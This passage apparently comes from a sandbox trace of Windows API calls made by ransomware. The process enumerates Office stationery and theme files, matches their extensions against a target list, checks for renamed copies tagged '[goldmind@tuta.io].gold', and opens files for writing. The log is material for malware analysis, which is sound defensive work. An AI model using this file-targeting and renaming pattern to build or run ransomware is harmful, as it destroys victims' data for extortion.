returned 1 [0039.714] lstrlenW (lpString=".xlsx") returned 5 [0039.714] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0039.714] lstrlenW (lpString=".ppt") returned 4 [0039.714] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0039.714] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0039.714] lstrlenW (lpString=".zip") returned 4 [0039.714] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0039.714] lstrlenW (lpString=".rar") returned 4 [0039.714] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0039.714] lstrlenW (lpString=".bz2") returned 4 [0039.714] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0039.714] lstrlenW (lpString=".7z") returned 3 [0039.714] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0039.714] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0039.714] lstrlenW (lpString=".dbf") returned 4 [0039.714] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0039.714] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0039.714] lstrlenW (lpString=".1cd") returned 4 [0039.714] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0039.714] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0039.714] lstrlenW (lpString=".jpg") returned 4 [0039.714] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0039.714] lstrcmpiW (lpString1=".emf", lpString2=".gold") returned -1 [0039.714] lstrlenW (lpString="Dotted_Lines.emf") returned 16 [0039.714] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0039.715] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=3792) returned 1 [0039.715] CloseHandle (hObject=0x1fc) returned 1 [0039.715] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf")) returned 0x20 [0039.715] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0039.715] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0039.715] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0039.715] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0039.715] lstrlenW (lpString=".doc") returned 4 [0039.715] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0039.715] lstrlenW (lpString=".docx") returned 5 [0039.715] lstrcmpiW (lpString1=".docx", lpString2="s.emf") returned -1 [0039.715] lstrlenW (lpString=".pdf") returned 4 [0039.715] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0039.715] lstrlenW (lpString=".xls") returned 4 [0039.715] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0039.715] lstrlenW (lpString=".xlsx") returned 5 [0039.715] lstrcmpiW (lpString1=".xlsx", lpString2="s.emf") returned -1 [0039.715] lstrlenW (lpString=".ppt") returned 4 [0039.715] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0039.715] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0039.715] lstrlenW (lpString=".zip") returned 4 [0039.715] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0039.715] lstrlenW (lpString=".rar") returned 4 [0039.715] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0039.715] lstrlenW (lpString=".bz2") returned 4 [0039.715] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0039.715] lstrlenW (lpString=".7z") returned 3 [0039.715] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0039.715] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0039.715] lstrlenW (lpString=".dbf") returned 4 [0039.716] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0039.716] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0039.716] lstrlenW (lpString=".1cd") returned 4 [0039.716] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0039.716] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0039.716] lstrlenW (lpString=".jpg") returned 4 [0039.716] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0039.716] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0039.716] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0039.716] lstrlenW (lpString=".doc") returned 4 [0039.716] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0039.716] lstrlenW (lpString=".docx") returned 5 [0039.716] lstrcmpiW (lpString1=".docx", lpString2="s.emf") returned -1 [0039.716] lstrlenW (lpString=".pdf") returned 4 [0039.716] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0039.716] lstrlenW (lpString=".xls") returned 4 [0039.716] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0039.716] lstrlenW (lpString=".xlsx") returned 5 [0039.716] lstrcmpiW (lpString1=".xlsx", lpString2="s.emf") returned -1 [0039.716] lstrlenW (lpString=".ppt") returned 4 [0039.716] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0039.716] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0039.716] lstrlenW (lpString=".zip") returned 4 [0039.716] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0039.716] lstrlenW (lpString=".rar") returned 4 [0039.716] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0039.716] lstrlenW (lpString=".bz2") returned 4 [0039.716] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0039.716] lstrlenW (lpString=".7z") returned 3 [0039.716] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0039.716] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0039.716] lstrlenW (lpString=".dbf") returned 4 [0039.716] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0039.716] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0039.716] lstrlenW (lpString=".1cd") returned 4 [0039.716] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0039.716] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0039.716] lstrlenW (lpString=".jpg") returned 4 [0039.716] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0039.716] lstrcmpiW (lpString1=".htm", lpString2=".gold") returned 1 [0039.716] lstrlenW (lpString="Garden.htm") returned 10 [0039.717] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0039.717] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=231) returned 1 [0039.717] CloseHandle (hObject=0x1fc) returned 1 [0039.717] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm")) returned 0x20 [0039.717] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0039.717] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0039.717] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0039.717] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0039.717] lstrlenW (lpString=".doc") returned 4 [0039.717] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0039.717] lstrlenW (lpString=".docx") returned 5 [0039.717] lstrcmpiW (lpString1=".docx", lpString2="n.htm") returned -1 [0039.717] lstrlenW (lpString=".pdf") returned 4 [0039.717] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0039.717] lstrlenW (lpString=".xls") returned 4 [0039.717] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0039.717] lstrlenW (lpString=".xlsx") returned 5 [0039.717] lstrcmpiW (lpString1=".xlsx", lpString2="n.htm") returned -1 [0039.717] lstrlenW (lpString=".ppt") returned 4 [0039.717] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0039.717] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0039.717] lstrlenW (lpString=".zip") returned 4 [0039.718] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0039.718] lstrlenW (lpString=".rar") returned 4 [0039.718] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0039.718] lstrlenW (lpString=".bz2") returned 4 [0039.718] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0039.718] lstrlenW (lpString=".7z") returned 3 [0039.718] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0039.718] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0039.718] lstrlenW (lpString=".dbf") returned 4 [0039.718] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0039.718] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0039.718] lstrlenW (lpString=".1cd") returned 4 [0039.718] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0039.718] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0039.718] lstrlenW (lpString=".jpg") returned 4 [0039.718] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0039.718] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0039.718] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0039.718] lstrlenW (lpString=".doc") returned 4 [0039.718] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0039.718] lstrlenW (lpString=".docx") returned 5 [0039.718] lstrcmpiW (lpString1=".docx", lpString2="n.htm") returned -1 [0039.718] lstrlenW (lpString=".pdf") returned 4 [0039.718] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0039.718] lstrlenW (lpString=".xls") returned 4 [0039.718] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0039.718] lstrlenW (lpString=".xlsx") returned 5 [0039.718] lstrcmpiW (lpString1=".xlsx", lpString2="n.htm") returned -1 [0039.718] lstrlenW (lpString=".ppt") returned 4 [0039.718] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0039.718] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0039.718] lstrlenW (lpString=".zip") returned 4 [0039.718] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0039.718] lstrlenW (lpString=".rar") returned 4 [0039.718] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0039.718] lstrlenW (lpString=".bz2") returned 4 [0039.718] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0039.718] lstrlenW (lpString=".7z") returned 3 [0039.718] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0039.718] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0039.718] lstrlenW (lpString=".dbf") returned 4 [0039.718] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0039.718] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0039.718] lstrlenW (lpString=".1cd") returned 4 [0039.718] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0039.719] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0039.719] lstrlenW (lpString=".jpg") returned 4 [0039.719] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0039.719] lstrcmpiW (lpString1=".jpg", lpString2=".gold") returned 1 [0039.719] lstrlenW (lpString="Garden.jpg") returned 10 [0039.719] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0039.719] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=23871) returned 1 [0039.719] CloseHandle (hObject=0x1fc) returned 1 [0039.719] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg")) returned 0x20 [0039.719] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0039.719] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0039.719] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0039.719] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0039.719] lstrlenW (lpString=".doc") returned 4 [0039.719] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0039.719] lstrlenW (lpString=".docx") returned 5 [0039.719] lstrcmpiW (lpString1=".docx", lpString2="n.jpg") returned -1 [0039.719] lstrlenW (lpString=".pdf") returned 4 [0039.719] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0039.719] lstrlenW (lpString=".xls") returned 4 [0039.720] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0039.720] lstrlenW (lpString=".xlsx") returned 5 [0039.720] lstrcmpiW (lpString1=".xlsx", lpString2="n.jpg") returned -1 [0039.720] lstrlenW (lpString=".ppt") returned 4 [0039.720] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0039.720] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0039.720] lstrlenW (lpString=".zip") returned 4 [0039.720] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0039.720] lstrlenW (lpString=".rar") returned 4 [0039.720] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0039.720] lstrlenW (lpString=".bz2") returned 4 [0039.720] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0039.720] lstrlenW (lpString=".7z") returned 3 [0039.720] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0039.720] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0039.720] lstrlenW (lpString=".dbf") returned 4 [0039.720] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0039.720] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0039.720] lstrlenW (lpString=".1cd") returned 4 [0039.720] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0039.720] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0039.720] lstrlenW (lpString=".jpg") returned 4 [0039.720] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0039.720] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0039.720] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0039.720] lstrlenW (lpString=".doc") returned 4 [0039.720] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0039.720] lstrlenW (lpString=".docx") returned 5 [0039.720] lstrcmpiW (lpString1=".docx", lpString2="n.jpg") returned -1 [0039.720] lstrlenW (lpString=".pdf") returned 4 [0039.720] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0039.720] lstrlenW (lpString=".xls") returned 4 [0039.720] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0039.720] lstrlenW (lpString=".xlsx") returned 5 [0039.720] lstrcmpiW (lpString1=".xlsx", lpString2="n.jpg") returned -1 [0039.720] lstrlenW (lpString=".ppt") returned 4 [0039.720] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0039.720] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0039.720] lstrlenW (lpString=".zip") returned 4 [0039.720] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0039.720] lstrlenW (lpString=".rar") returned 4 [0039.720] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0039.720] lstrlenW (lpString=".bz2") returned 4 [0039.720] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0039.720] lstrlenW (lpString=".7z") returned 3 [0039.721] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0039.721] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0039.721] lstrlenW (lpString=".dbf") returned 4 [0039.721] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0039.721] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0039.721] lstrlenW (lpString=".1cd") returned 4 [0039.721] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0039.721] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0039.721] lstrlenW (lpString=".jpg") returned 4 [0039.721] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0039.721] lstrcmpiW (lpString1=".emf", lpString2=".gold") returned -1 [0039.721] lstrlenW (lpString="Genko_1.emf") returned 11 [0039.721] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0040.662] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=5524) returned 1 [0040.662] CloseHandle (hObject=0x1e4) returned 1 [0040.662] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf")) returned 0x20 [0040.662] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0040.662] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0040.662] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0040.662] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0040.662] lstrlenW (lpString=".doc") returned 4 [0040.662] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0040.663] lstrlenW (lpString=".docx") returned 5 [0040.663] lstrcmpiW (lpString1=".docx", lpString2="1.emf") returned -1 [0040.663] lstrlenW (lpString=".pdf") returned 4 [0040.663] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0040.663] lstrlenW (lpString=".xls") returned 4 [0040.663] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0040.663] lstrlenW (lpString=".xlsx") returned 5 [0040.663] lstrcmpiW (lpString1=".xlsx", lpString2="1.emf") returned -1 [0040.663] lstrlenW (lpString=".ppt") returned 4 [0040.663] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0040.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0040.663] lstrlenW (lpString=".zip") returned 4 [0040.663] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0040.663] lstrlenW (lpString=".rar") returned 4 [0040.663] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0040.663] lstrlenW (lpString=".bz2") returned 4 [0040.663] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0040.663] lstrlenW (lpString=".7z") returned 3 [0040.663] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0040.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0040.663] lstrlenW (lpString=".dbf") returned 4 [0040.663] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0040.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0040.663] lstrlenW (lpString=".1cd") returned 4 [0040.663] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0040.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0040.663] lstrlenW (lpString=".jpg") returned 4 [0040.663] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0040.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0040.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0040.663] lstrlenW (lpString=".doc") returned 4 [0040.663] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0040.663] lstrlenW (lpString=".docx") returned 5 [0040.663] lstrcmpiW (lpString1=".docx", lpString2="1.emf") returned -1 [0040.663] lstrlenW (lpString=".pdf") returned 4 [0040.663] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0040.663] lstrlenW (lpString=".xls") returned 4 [0040.663] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0040.663] lstrlenW (lpString=".xlsx") returned 5 [0040.663] lstrcmpiW (lpString1=".xlsx", lpString2="1.emf") returned -1 [0040.664] lstrlenW (lpString=".ppt") returned 4 [0040.664] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0040.664] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0040.664] lstrlenW (lpString=".zip") returned 4 [0040.664] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0040.664] lstrlenW (lpString=".rar") returned 4 [0040.664] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0040.664] lstrlenW (lpString=".bz2") returned 4 [0040.664] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0040.664] lstrlenW (lpString=".7z") returned 3 [0040.664] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0040.664] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0040.664] lstrlenW (lpString=".dbf") returned 4 [0040.664] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0040.664] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0040.664] lstrlenW (lpString=".1cd") returned 4 [0040.664] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0040.664] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0040.664] lstrlenW (lpString=".jpg") returned 4 [0040.664] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0040.664] lstrcmpiW (lpString1=".GIF", lpString2=".gold") returned -1 [0040.664] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0040.664] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0040.804] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=2848) returned 1 [0040.804] CloseHandle (hObject=0x19c) returned 1 [0040.804] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif")) returned 0x20 [0040.804] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0040.804] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0040.804] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.804] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, 